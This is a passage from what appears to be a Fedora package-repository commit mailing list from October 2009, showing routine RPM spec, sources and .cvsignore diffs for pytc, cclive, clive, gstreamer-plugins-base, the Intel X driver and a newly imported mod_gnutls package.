
Update of /cvs/pkgs/rpms/pytc/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv2862

Modified Files:
	pytc.spec 
Log Message:
* Thu Oct 01 2009 Deji Akingunola <dakingun at gmail.com> - 0.8-1
- Rebuild for updated tokyocabinet



Index: pytc.spec
===================================================================
RCS file: /cvs/pkgs/rpms/pytc/F-11/pytc.spec,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- pytc.spec	26 May 2009 06:13:27 -0000	1.2
+++ pytc.spec	1 Oct 2009 20:12:57 -0000	1.3
@@ -2,7 +2,7 @@
 
 Name:           pytc
 Version:        0.8
-Release:        1%{?dist}
+Release:        1%{?dist}.1
 Summary:        Tokyo Cabinet Python bindings
 
 Group:          Development/Languages
@@ -40,6 +40,9 @@ rm -rf %{buildroot}
 %{python_sitearch}/%{name}-%{version}-*.egg-info
 
 %changelog
+* Thu Oct 01 2009 Deji Akingunola <dakingun at gmail.com> - 0.8-1
+- Rebuild for updated tokyocabinet
+
 * Mon May 25 2009 Silas Sewell <silas at sewell.ch> - 0.8-1
 - Update to 0.8
 



From eponyme at fedoraproject.org  Thu Oct  1 20:13:09 2009
From: eponyme at fedoraproject.org (Nicoleau Fabien)
Date: Thu,  1 Oct 2009 20:13:09 +0000 (UTC)
Subject: rpms/cclive/F-10 .cvsignore, 1.9, 1.10 cclive.spec, 1.8, 1.9 sources,
	1.9, 1.10
Message-ID: <20091001201309.8A56D11C00C1@cvs1.fedora.phx.redhat.com>

Author: eponyme

Update of /cvs/pkgs/rpms/cclive/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv2905

Modified Files:
	.cvsignore cclive.spec sources 
Log Message:
Update to 0.5.2


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/cclive/F-10/.cvsignore,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- .cvsignore	19 Sep 2009 21:14:32 -0000	1.9
+++ .cvsignore	1 Oct 2009 20:13:09 -0000	1.10
@@ -1 +1 @@
-cclive-0.5.1.tar.bz2
+cclive-0.5.2.tar.bz2


Index: cclive.spec
===================================================================
RCS file: /cvs/pkgs/rpms/cclive/F-10/cclive.spec,v
retrieving revision 1.8
retrieving revision 1.9
diff -u -p -r1.8 -r1.9
--- cclive.spec	19 Sep 2009 21:14:32 -0000	1.8
+++ cclive.spec	1 Oct 2009 20:13:09 -0000	1.9
@@ -1,5 +1,5 @@
 Name:           cclive
-Version:        0.5.1
+Version:        0.5.2
 Release:        1%{?dist}
 Summary:        Command line video extraction utility
 
@@ -41,6 +41,8 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Thu Oct  1 2009 Nicoleau Fabien <nicoleau.fabien at gmail.com> 0.5.2-1
+- Update to 0.5.2
 * Sat Sep 19 2009 Nicoleau Fabien <nicoleau.fabien at gmail.com> 0.5.1-1
 - Update to 0.5.1
 * Sun Sep  5 2009 Nicoleau Fabien <nicoleau.fabien at gmail.com> 0.5.0-1


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/cclive/F-10/sources,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- sources	19 Sep 2009 21:14:32 -0000	1.9
+++ sources	1 Oct 2009 20:13:09 -0000	1.10
@@ -1 +1 @@
-61e068314296153c98f634af1e7d40ef  cclive-0.5.1.tar.bz2
+bf8427a6386c439227045bf4dfcae601  cclive-0.5.2.tar.bz2



From eponyme at fedoraproject.org  Thu Oct  1 20:14:29 2009
From: eponyme at fedoraproject.org (Nicoleau Fabien)
Date: Thu,  1 Oct 2009 20:14:29 +0000 (UTC)
Subject: rpms/cclive/F-12 .cvsignore, 1.9, 1.10 cclive.spec, 1.9,
	1.10 sources, 1.9, 1.10
Message-ID: <20091001201429.331BB11C00C1@cvs1.fedora.phx.redhat.com>

Author: eponyme

Update of /cvs/pkgs/rpms/cclive/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv3306

Modified Files:
	.cvsignore cclive.spec sources 
Log Message:
Update to 0.5.2


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/cclive/F-12/.cvsignore,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- .cvsignore	19 Sep 2009 21:09:15 -0000	1.9
+++ .cvsignore	1 Oct 2009 20:14:29 -0000	1.10
@@ -1 +1 @@
-cclive-0.5.1.tar.bz2
+cclive-0.5.2.tar.bz2


Index: cclive.spec
===================================================================
RCS file: /cvs/pkgs/rpms/cclive/F-12/cclive.spec,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- cclive.spec	19 Sep 2009 21:09:15 -0000	1.9
+++ cclive.spec	1 Oct 2009 20:14:29 -0000	1.10
@@ -1,5 +1,5 @@
 Name:           cclive
-Version:        0.5.1
+Version:        0.5.2
 Release:        1%{?dist}
 Summary:        Command line video extraction utility
 
@@ -41,6 +41,8 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Thu Oct  1 2009 Nicoleau Fabien <nicoleau.fabien at gmail.com> 0.5.2-1
+- Update to 0.5.2
 * Sat Sep 19 2009 Nicoleau Fabien <nicoleau.fabien at gmail.com> 0.5.1-1
 - Update to 0.5.1
 * Sun Sep  5 2009 Nicoleau Fabien <nicoleau.fabien at gmail.com> 0.5.0-1


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/cclive/F-12/sources,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- sources	19 Sep 2009 21:09:15 -0000	1.9
+++ sources	1 Oct 2009 20:14:29 -0000	1.10
@@ -1 +1 @@
-61e068314296153c98f634af1e7d40ef  cclive-0.5.1.tar.bz2
+bf8427a6386c439227045bf4dfcae601  cclive-0.5.2.tar.bz2



From eponyme at fedoraproject.org  Thu Oct  1 20:21:33 2009
From: eponyme at fedoraproject.org (Nicoleau Fabien)
Date: Thu,  1 Oct 2009 20:21:33 +0000 (UTC)
Subject: rpms/clive/devel .cvsignore, 1.20, 1.21 clive.spec, 1.24,
	1.25 sources, 1.20, 1.21
Message-ID: <20091001202134.0269D11C00C1@cvs1.fedora.phx.redhat.com>

Author: eponyme

Update of /cvs/pkgs/rpms/clive/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv5200

Modified Files:
	.cvsignore clive.spec sources 
Log Message:
Update to 2.2.7


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/clive/devel/.cvsignore,v
retrieving revision 1.20
retrieving revision 1.21
diff -u -p -r1.20 -r1.21
--- .cvsignore	19 Sep 2009 21:16:46 -0000	1.20
+++ .cvsignore	1 Oct 2009 20:21:33 -0000	1.21
@@ -1 +1 @@
-clive-2.2.6.tar.bz2
+clive-2.2.7.tar.bz2


Index: clive.spec
===================================================================
RCS file: /cvs/pkgs/rpms/clive/devel/clive.spec,v
retrieving revision 1.24
retrieving revision 1.25
diff -u -p -r1.24 -r1.25
--- clive.spec	19 Sep 2009 21:16:46 -0000	1.24
+++ clive.spec	1 Oct 2009 20:21:33 -0000	1.25
@@ -1,5 +1,5 @@
 Name:           clive
-Version:        2.2.6
+Version:        2.2.7
 Release:        1%{?dist}
 Summary:        Video extraction tool for user-uploaded video hosts
 
@@ -70,6 +70,8 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Thu Oct  1 2009 Nicoleau Fabien <nicoleau.fabien at gmail.com> 2.2.7-1
+- Update to 2.2.7
 * Sat Sep 19 2009 Nicoleau Fabien <nicoleau.fabien at gmail.com> 2.2.6-1
 - Update to 2.2.6
 * Sun Aug 16 2009 Nicoleau Fabien <nicoleau.fabien at gmail.com> 2.2.5-1


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/clive/devel/sources,v
retrieving revision 1.20
retrieving revision 1.21
diff -u -p -r1.20 -r1.21
--- sources	19 Sep 2009 21:16:46 -0000	1.20
+++ sources	1 Oct 2009 20:21:33 -0000	1.21
@@ -1 +1 @@
-91475999303097635f6e3edf779f46eb  clive-2.2.6.tar.bz2
+3f713d996b9a440f83188c19db4023a0  clive-2.2.7.tar.bz2



From eponyme at fedoraproject.org  Thu Oct  1 20:23:20 2009
From: eponyme at fedoraproject.org (Nicoleau Fabien)
Date: Thu,  1 Oct 2009 20:23:20 +0000 (UTC)
Subject: rpms/clive/F-12 .cvsignore, 1.20, 1.21 clive.spec, 1.24,
	1.25 sources, 1.20, 1.21
Message-ID: <20091001202320.36BCF11C00C1@cvs1.fedora.phx.redhat.com>

Author: eponyme

Update of /cvs/pkgs/rpms/clive/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv6021

Modified Files:
	.cvsignore clive.spec sources 
Log Message:
Update to 2.2.7


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/clive/F-12/.cvsignore,v
retrieving revision 1.20
retrieving revision 1.21
diff -u -p -r1.20 -r1.21
--- .cvsignore	19 Sep 2009 21:16:46 -0000	1.20
+++ .cvsignore	1 Oct 2009 20:23:19 -0000	1.21
@@ -1 +1 @@
-clive-2.2.6.tar.bz2
+clive-2.2.7.tar.bz2


Index: clive.spec
===================================================================
RCS file: /cvs/pkgs/rpms/clive/F-12/clive.spec,v
retrieving revision 1.24
retrieving revision 1.25
diff -u -p -r1.24 -r1.25
--- clive.spec	19 Sep 2009 21:16:46 -0000	1.24
+++ clive.spec	1 Oct 2009 20:23:19 -0000	1.25
@@ -1,5 +1,5 @@
 Name:           clive
-Version:        2.2.6
+Version:        2.2.7
 Release:        1%{?dist}
 Summary:        Video extraction tool for user-uploaded video hosts
 
@@ -70,6 +70,8 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Thu Oct  1 2009 Nicoleau Fabien <nicoleau.fabien at gmail.com> 2.2.7-1
+- Update to 2.2.7
 * Sat Sep 19 2009 Nicoleau Fabien <nicoleau.fabien at gmail.com> 2.2.6-1
 - Update to 2.2.6
 * Sun Aug 16 2009 Nicoleau Fabien <nicoleau.fabien at gmail.com> 2.2.5-1


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/clive/F-12/sources,v
retrieving revision 1.20
retrieving revision 1.21
diff -u -p -r1.20 -r1.21
--- sources	19 Sep 2009 21:16:46 -0000	1.20
+++ sources	1 Oct 2009 20:23:19 -0000	1.21
@@ -1 +1 @@
-91475999303097635f6e3edf779f46eb  clive-2.2.6.tar.bz2
+3f713d996b9a440f83188c19db4023a0  clive-2.2.7.tar.bz2



From eponyme at fedoraproject.org  Thu Oct  1 20:24:20 2009
From: eponyme at fedoraproject.org (Nicoleau Fabien)
Date: Thu,  1 Oct 2009 20:24:20 +0000 (UTC)
Subject: rpms/clive/F-11 .cvsignore, 1.20, 1.21 clive.spec, 1.23,
	1.24 sources, 1.20, 1.21
Message-ID: <20091001202420.15D6411C00C1@cvs1.fedora.phx.redhat.com>

Author: eponyme

Update of /cvs/pkgs/rpms/clive/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv6669

Modified Files:
	.cvsignore clive.spec sources 
Log Message:
Update to 2.2.7


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/clive/F-11/.cvsignore,v
retrieving revision 1.20
retrieving revision 1.21
diff -u -p -r1.20 -r1.21
--- .cvsignore	19 Sep 2009 21:17:49 -0000	1.20
+++ .cvsignore	1 Oct 2009 20:24:19 -0000	1.21
@@ -1 +1 @@
-clive-2.2.6.tar.bz2
+clive-2.2.7.tar.bz2


Index: clive.spec
===================================================================
RCS file: /cvs/pkgs/rpms/clive/F-11/clive.spec,v
retrieving revision 1.23
retrieving revision 1.24
diff -u -p -r1.23 -r1.24
--- clive.spec	19 Sep 2009 21:17:49 -0000	1.23
+++ clive.spec	1 Oct 2009 20:24:19 -0000	1.24
@@ -1,5 +1,5 @@
 Name:           clive
-Version:        2.2.6
+Version:        2.2.7
 Release:        1%{?dist}
 Summary:        Video extraction tool for user-uploaded video hosts
 
@@ -70,6 +70,8 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Thu Oct  1 2009 Nicoleau Fabien <nicoleau.fabien at gmail.com> 2.2.7-1
+- Update to 2.2.7
 * Sat Sep 19 2009 Nicoleau Fabien <nicoleau.fabien at gmail.com> 2.2.6-1
 - Update to 2.2.6
 * Sun Aug 16 2009 Nicoleau Fabien <nicoleau.fabien at gmail.com> 2.2.5-1


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/clive/F-11/sources,v
retrieving revision 1.20
retrieving revision 1.21
diff -u -p -r1.20 -r1.21
--- sources	19 Sep 2009 21:17:49 -0000	1.20
+++ sources	1 Oct 2009 20:24:19 -0000	1.21
@@ -1 +1 @@
-91475999303097635f6e3edf779f46eb  clive-2.2.6.tar.bz2
+3f713d996b9a440f83188c19db4023a0  clive-2.2.7.tar.bz2



From eponyme at fedoraproject.org  Thu Oct  1 20:25:18 2009
From: eponyme at fedoraproject.org (Nicoleau Fabien)
Date: Thu,  1 Oct 2009 20:25:18 +0000 (UTC)
Subject: rpms/clive/F-10 .cvsignore, 1.20, 1.21 clive.spec, 1.21,
	1.22 sources, 1.20, 1.21
Message-ID: <20091001202518.A0A4911C00C1@cvs1.fedora.phx.redhat.com>

Author: eponyme

Update of /cvs/pkgs/rpms/clive/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv6870

Modified Files:
	.cvsignore clive.spec sources 
Log Message:
Update to 2.2.7


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/clive/F-10/.cvsignore,v
retrieving revision 1.20
retrieving revision 1.21
diff -u -p -r1.20 -r1.21
--- .cvsignore	19 Sep 2009 21:18:45 -0000	1.20
+++ .cvsignore	1 Oct 2009 20:25:18 -0000	1.21
@@ -1 +1 @@
-clive-2.2.6.tar.bz2
+clive-2.2.7.tar.bz2


Index: clive.spec
===================================================================
RCS file: /cvs/pkgs/rpms/clive/F-10/clive.spec,v
retrieving revision 1.21
retrieving revision 1.22
diff -u -p -r1.21 -r1.22
--- clive.spec	19 Sep 2009 21:18:45 -0000	1.21
+++ clive.spec	1 Oct 2009 20:25:18 -0000	1.22
@@ -1,5 +1,5 @@
 Name:           clive
-Version:        2.2.6
+Version:        2.2.7
 Release:        1%{?dist}
 Summary:        Video extraction tool for user-uploaded video hosts
 
@@ -70,6 +70,8 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Thu Oct  1 2009 Nicoleau Fabien <nicoleau.fabien at gmail.com> 2.2.7-1
+- Update to 2.2.7
 * Sat Sep 19 2009 Nicoleau Fabien <nicoleau.fabien at gmail.com> 2.2.6-1
 - Update to 2.2.6
 * Sun Aug 16 2009 Nicoleau Fabien <nicoleau.fabien at gmail.com> 2.2.5-1


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/clive/F-10/sources,v
retrieving revision 1.20
retrieving revision 1.21
diff -u -p -r1.20 -r1.21
--- sources	19 Sep 2009 21:18:45 -0000	1.20
+++ sources	1 Oct 2009 20:25:18 -0000	1.21
@@ -1 +1 @@
-91475999303097635f6e3edf779f46eb  clive-2.2.6.tar.bz2
+3f713d996b9a440f83188c19db4023a0  clive-2.2.7.tar.bz2



From hadess at fedoraproject.org  Thu Oct  1 20:38:14 2009
From: hadess at fedoraproject.org (Bastien Nocera)
Date: Thu,  1 Oct 2009 20:38:14 +0000 (UTC)
Subject: rpms/gstreamer-plugins-base/devel gstreamer-plugins-base.spec, 1.89,
	1.90
Message-ID: <20091001203814.0A42F11C00C1@cvs1.fedora.phx.redhat.com>

Author: hadess

Update of /cvs/pkgs/rpms/gstreamer-plugins-base/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv9777

Modified Files:
	gstreamer-plugins-base.spec 
Log Message:
Fix filelist


Index: gstreamer-plugins-base.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gstreamer-plugins-base/devel/gstreamer-plugins-base.spec,v
retrieving revision 1.89
retrieving revision 1.90
diff -u -p -r1.89 -r1.90
--- gstreamer-plugins-base.spec	1 Oct 2009 17:21:25 -0000	1.89
+++ gstreamer-plugins-base.spec	1 Oct 2009 20:38:13 -0000	1.90
@@ -181,6 +181,7 @@ GStreamer Base Plugins library developme
 %{_includedir}/gstreamer-%{majorminor}/gst/interfaces/tunerchannel.h
 %{_includedir}/gstreamer-%{majorminor}/gst/interfaces/tunernorm.h
 %{_includedir}/gstreamer-%{majorminor}/gst/interfaces/videoorientation.h
+%{_includedir}/gstreamer-%{majorminor}/gst/interfaces/interfaces/streamvolume.h
 %{_includedir}/gstreamer-%{majorminor}/gst/interfaces/xoverlay.h
 %dir %{_includedir}/gstreamer-%{majorminor}/gst/netbuffer
 %{_includedir}/gstreamer-%{majorminor}/gst/netbuffer/gstnetbuffer.h



From hadess at fedoraproject.org  Thu Oct  1 21:01:06 2009
From: hadess at fedoraproject.org (Bastien Nocera)
Date: Thu,  1 Oct 2009 21:01:06 +0000 (UTC)
Subject: rpms/gstreamer-plugins-base/devel gstreamer-plugins-base.spec, 1.90,
	1.91
Message-ID: <20091001210106.24F1311C0261@cvs1.fedora.phx.redhat.com>

Author: hadess

Update of /cvs/pkgs/rpms/gstreamer-plugins-base/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv15325

Modified Files:
	gstreamer-plugins-base.spec 
Log Message:
Bastien is tired


Index: gstreamer-plugins-base.spec
===================================================================
RCS file: /cvs/pkgs/rpms/gstreamer-plugins-base/devel/gstreamer-plugins-base.spec,v
retrieving revision 1.90
retrieving revision 1.91
diff -u -p -r1.90 -r1.91
--- gstreamer-plugins-base.spec	1 Oct 2009 20:38:13 -0000	1.90
+++ gstreamer-plugins-base.spec	1 Oct 2009 21:01:05 -0000	1.91
@@ -181,7 +181,7 @@ GStreamer Base Plugins library developme
 %{_includedir}/gstreamer-%{majorminor}/gst/interfaces/tunerchannel.h
 %{_includedir}/gstreamer-%{majorminor}/gst/interfaces/tunernorm.h
 %{_includedir}/gstreamer-%{majorminor}/gst/interfaces/videoorientation.h
-%{_includedir}/gstreamer-%{majorminor}/gst/interfaces/interfaces/streamvolume.h
+%{_includedir}/gstreamer-%{majorminor}/gst/interfaces/streamvolume.h
 %{_includedir}/gstreamer-%{majorminor}/gst/interfaces/xoverlay.h
 %dir %{_includedir}/gstreamer-%{majorminor}/gst/netbuffer
 %{_includedir}/gstreamer-%{majorminor}/gst/netbuffer/gstnetbuffer.h



From ekkis at fedoraproject.org  Thu Oct  1 21:09:44 2009
From: ekkis at fedoraproject.org (erick calder)
Date: Thu,  1 Oct 2009 21:09:44 +0000 (UTC)
Subject: rpms/mod_gnutls/devel import.log, NONE, 1.1 mod_gnutls.conf, NONE, 
	1.1 mod_gnutls.spec, NONE, 1.1 .cvsignore, 1.1, 1.2 sources, 1.1,
	1.2
Message-ID: <20091001210944.D2B1411C0261@cvs1.fedora.phx.redhat.com>

Author: ekkis

Update of /cvs/pkgs/rpms/mod_gnutls/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv16854/devel

Modified Files:
	.cvsignore sources 
Added Files:
	import.log mod_gnutls.conf mod_gnutls.spec 
Log Message:
* Thu Oct 1 2009 Erick Calder <rpm at arix.com> - 0.5.5-5



--- NEW FILE import.log ---
mod_gnutls-0_5_5-5_fc11:HEAD:mod_gnutls-0.5.5-5.fc11.src.rpm:1254431197


--- NEW FILE mod_gnutls.conf ---
LoadModule gnutls_module modules/mod_gnutls.so

GnuTLSCache dbm "/var/cache/mod_gnutls"
GnuTLSCacheTimeout 300


--- NEW FILE mod_gnutls.spec ---
Name:      mod_gnutls
Version:   0.5.5
Release:   5%{?dist}
Summary:   GnuTLS module for the Apache HTTP server
Group:     System Environment/Daemons
License:   ASL 2.0
URL:       http://www.outoforder.cc/projects/apache/mod_gnutls
Source0:   http://www.outoforder.cc/downloads/mod_gnutls/%{name}-%{version}.tar.bz2
Source1:   mod_gnutls.conf
BuildRoot: %(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)
BuildRequires: gnutls-devel httpd-devel
Requires:  httpd

%description
mod_gnutls uses the GnuTLS library to provide SSL 3.0, TLS 1.0 and TLS 1.1
encryption for Apache HTTPD.  It is similar to mod_ssl in purpose, but does
not use OpenSSL.  A primary benefit of using this module is the ability to
configure multiple SSL certificates for a single IP-address/port combination
(useful for securing virtual hosts).
    
Features
    * Support for SSL 3.0, TLS 1.0 and TLS 1.1.
    * Support for client certificates.
    * Support for RFC 5081 OpenPGP certificate authentication.
    * Support for Server Name Indication.
    * Distributed SSL Session Cache via Memcached
    * Local SSL Session Cache using DBM
    * Sets enviromental vars for scripts (compatible with mod_ssl vars)
    * Small and focused code base:
         Lines of code in mod_gnutls: 3,593
         Lines of code in mod_ssl: 15,324

%prep
%setup -q
cp %{SOURCE1} .

%build
%configure --disable-srp
%{__make} %{?_smp_mflags}

%check
%{__make} check

%install
rm -rf %{buildroot}
%{__install} -m 755 -D src/.libs/libmod_gnutls.so %{buildroot}%{_libdir}/httpd/modules/mod_gnutls.so
%{__install} -m 644 -D %{SOURCE1} %{buildroot}%{_sysconfdir}/httpd/conf.d/mod_gnutls.conf
%{__install} -d -m 0700 %{buildroot}%{_localstatedir}/cache/mod_gnutls

%clean
rm -rf %{buildroot}

%files
%defattr(-,root,root,-)
%doc README NEWS NOTICE LICENSE README.ENV
%{_libdir}/httpd/modules/*.so
%config(noreplace) %{_sysconfdir}/httpd/conf.d/mod_gnutls.conf
%{_localstatedir}/cache/mod_gnutls

%changelog
* Thu Sep 17 2009 Erick Calder <rpm at arix.com> - 0.5.5-5
- removed use of define {ooo}

* Thu Sep 17 2009 Erick Calder <rpm at arix.com> - 0.5.5-4
- dependency generator missed need for httpd.  added by hand.
- abstracted Source0:

* Tue Sep 15 2009 Erick Calder <rpm at arix.com> - 0.5.5-3
- mention of SRP removed from description of package
- added httpd-devel to build requires
- fixed license (harmonized with httpd)

* Tue Sep 15 2009 Erick Calder <rpm at arix.com> - 0.5.5-2
- Added BuildRequires
- removed comments stating the specfile was generated by cpan2rpm
- added BuildRoot
- added install clean

* Fri Sep 11 2009 Erick Calder <rpm at arix.com> - 0.5.5-2
- Initial build



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/mod_gnutls/devel/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	30 Sep 2009 23:52:41 -0000	1.1
+++ .cvsignore	1 Oct 2009 21:09:44 -0000	1.2
@@ -0,0 +1 @@
+mod_gnutls-0.5.5.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/mod_gnutls/devel/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	30 Sep 2009 23:52:42 -0000	1.1
+++ sources	1 Oct 2009 21:09:44 -0000	1.2
@@ -0,0 +1 @@
+53aef6d0c295fc2b7d5d2ee4576e6884  mod_gnutls-0.5.5.tar.bz2



From krh at fedoraproject.org  Thu Oct  1 21:09:49 2009
From: krh at fedoraproject.org (=?utf-8?q?Kristian_H=C3=B8gsberg?=)
Date: Thu,  1 Oct 2009 21:09:49 +0000 (UTC)
Subject: rpms/xorg-x11-drv-intel/devel .cvsignore, 1.9, 1.10 sources, 1.10, 
	1.11 xorg-x11-drv-intel.spec, 1.33, 1.34
Message-ID: <20091001210949.2061711C0261@cvs1.fedora.phx.redhat.com>

Author: krh

Update of /cvs/pkgs/rpms/xorg-x11-drv-intel/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv17879

Modified Files:
	.cvsignore sources xorg-x11-drv-intel.spec 
Log Message:
* Thu Oct  1 2009 Kristian H?gsberg <krh at hinata> - 2.9.0-1
- Rebase to 2.9.0.



Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/xorg-x11-drv-intel/devel/.cvsignore,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- .cvsignore	9 Sep 2009 14:30:33 -0000	1.9
+++ .cvsignore	1 Oct 2009 21:09:48 -0000	1.10
@@ -1,3 +1 @@
-intel-gpu-tools-20090908.tar.bz2
-xf86-video-intel-20090908.tar.bz2
-xf86-video-intel-20090909.tar.bz2
+xf86-video-intel-2.9.0.tar.bz2


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/xorg-x11-drv-intel/devel/sources,v
retrieving revision 1.10
retrieving revision 1.11
diff -u -p -r1.10 -r1.11
--- sources	9 Sep 2009 14:30:33 -0000	1.10
+++ sources	1 Oct 2009 21:09:48 -0000	1.11
@@ -1,2 +1 @@
-d64507d329cff1228f8a88ec2e9f58cb  intel-gpu-tools-20090908.tar.bz2
-f225d5d72376e263366f45292813675f  xf86-video-intel-20090909.tar.bz2
+34ff2582993d64dddd62d0cb7b30d759  xf86-video-intel-2.9.0.tar.bz2


Index: xorg-x11-drv-intel.spec
===================================================================
RCS file: /cvs/pkgs/rpms/xorg-x11-drv-intel/devel/xorg-x11-drv-intel.spec,v
retrieving revision 1.33
retrieving revision 1.34
diff -u -p -r1.33 -r1.34
--- xorg-x11-drv-intel.spec	23 Sep 2009 23:32:26 -0000	1.33
+++ xorg-x11-drv-intel.spec	1 Oct 2009 21:09:48 -0000	1.34
@@ -3,19 +3,18 @@
 %define moduledir %(pkg-config xorg-server --variable=moduledir )
 %define driverdir	%{moduledir}/drivers
 %define gputoolsdate 20090908
-%define gitdate 20090909
 
 Summary:   Xorg X11 Intel video driver
 Name:      xorg-x11-drv-intel
-Version:   2.8.0
-Release:   16.%{gitdate}%{?dist}
+Version:   2.9.0
+Release:   1%{?dist}
 URL:       http://www.x.org
 License:   MIT
 Group:     User Interface/X Hardware Support
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 
 #Source0:    http://xorg.freedesktop.org/archive/individual/driver/xf86-video-intel-%{version}.tar.bz2 
-Source0:    xf86-video-intel-%{gitdate}.tar.bz2
+Source0:    xf86-video-intel-2.9.0.tar.bz2
 Source1:    make-intel-gpu-tools-snapshot.sh
 Source2:    intel.xinf
 Source3:    intel-gpu-tools-%{gputoolsdate}.tar.bz2
@@ -138,6 +137,9 @@ rm -rf $RPM_BUILD_ROOT
 %{_mandir}/man1/intel_*.1*
 
 %changelog
+* Thu Oct  1 2009 Kristian H?gsberg <krh at hinata> - 2.9.0-1
+- Rebase to 2.9.0.
+
 * Thu Sep 24 2009 Dave Airlie <airlied at redhat.com> 2.8.0-16.20090909
 - Attempt to make -nr work again
 



From ekkis at fedoraproject.org  Thu Oct  1 21:11:17 2009
From: ekkis at fedoraproject.org (erick calder)
Date: Thu,  1 Oct 2009 21:11:17 +0000 (UTC)
Subject: rpms/mod_gnutls/F-10 import.log, NONE, 1.1 mod_gnutls.conf, NONE,
	1.1 mod_gnutls.spec, NONE, 1.1 .cvsignore, 1.1, 1.2 sources, 1.1, 1.2
Message-ID: <20091001211117.4E25811C0261@cvs1.fedora.phx.redhat.com>

Author: ekkis

Update of /cvs/pkgs/rpms/mod_gnutls/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv18211/F-10

Modified Files:
	.cvsignore sources 
Added Files:
	import.log mod_gnutls.conf mod_gnutls.spec 
Log Message:
Thu Oct 1 2009 Erick Calder <rpm at arix.com>



--- NEW FILE import.log ---
mod_gnutls-0_5_5-5_fc11:F-10:mod_gnutls-0.5.5-5.fc11.src.rpm:1254431434


--- NEW FILE mod_gnutls.conf ---
LoadModule gnutls_module modules/mod_gnutls.so

GnuTLSCache dbm "/var/cache/mod_gnutls"
GnuTLSCacheTimeout 300


--- NEW FILE mod_gnutls.spec ---
Name:      mod_gnutls
Version:   0.5.5
Release:   5%{?dist}
Summary:   GnuTLS module for the Apache HTTP server
Group:     System Environment/Daemons
License:   ASL 2.0
URL:       http://www.outoforder.cc/projects/apache/mod_gnutls
Source0:   http://www.outoforder.cc/downloads/mod_gnutls/%{name}-%{version}.tar.bz2
Source1:   mod_gnutls.conf
BuildRoot: %(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)
BuildRequires: gnutls-devel httpd-devel
Requires:  httpd

%description
mod_gnutls uses the GnuTLS library to provide SSL 3.0, TLS 1.0 and TLS 1.1
encryption for Apache HTTPD.  It is similar to mod_ssl in purpose, but does
not use OpenSSL.  A primary benefit of using this module is the ability to
configure multiple SSL certificates for a single IP-address/port combination
(useful for securing virtual hosts).
    
Features
    * Support for SSL 3.0, TLS 1.0 and TLS 1.1.
    * Support for client certificates.
    * Support for RFC 5081 OpenPGP certificate authentication.
    * Support for Server Name Indication.
    * Distributed SSL Session Cache via Memcached
    * Local SSL Session Cache using DBM
    * Sets enviromental vars for scripts (compatible with mod_ssl vars)
    * Small and focused code base:
         Lines of code in mod_gnutls: 3,593
         Lines of code in mod_ssl: 15,324

%prep
%setup -q
cp %{SOURCE1} .

%build
%configure --disable-srp
%{__make} %{?_smp_mflags}

%check
%{__make} check

%install
rm -rf %{buildroot}
%{__install} -m 755 -D src/.libs/libmod_gnutls.so %{buildroot}%{_libdir}/httpd/modules/mod_gnutls.so
%{__install} -m 644 -D %{SOURCE1} %{buildroot}%{_sysconfdir}/httpd/conf.d/mod_gnutls.conf
%{__install} -d -m 0700 %{buildroot}%{_localstatedir}/cache/mod_gnutls

%clean
rm -rf %{buildroot}

%files
%defattr(-,root,root,-)
%doc README NEWS NOTICE LICENSE README.ENV
%{_libdir}/httpd/modules/*.so
%config(noreplace) %{_sysconfdir}/httpd/conf.d/mod_gnutls.conf
%{_localstatedir}/cache/mod_gnutls

%changelog
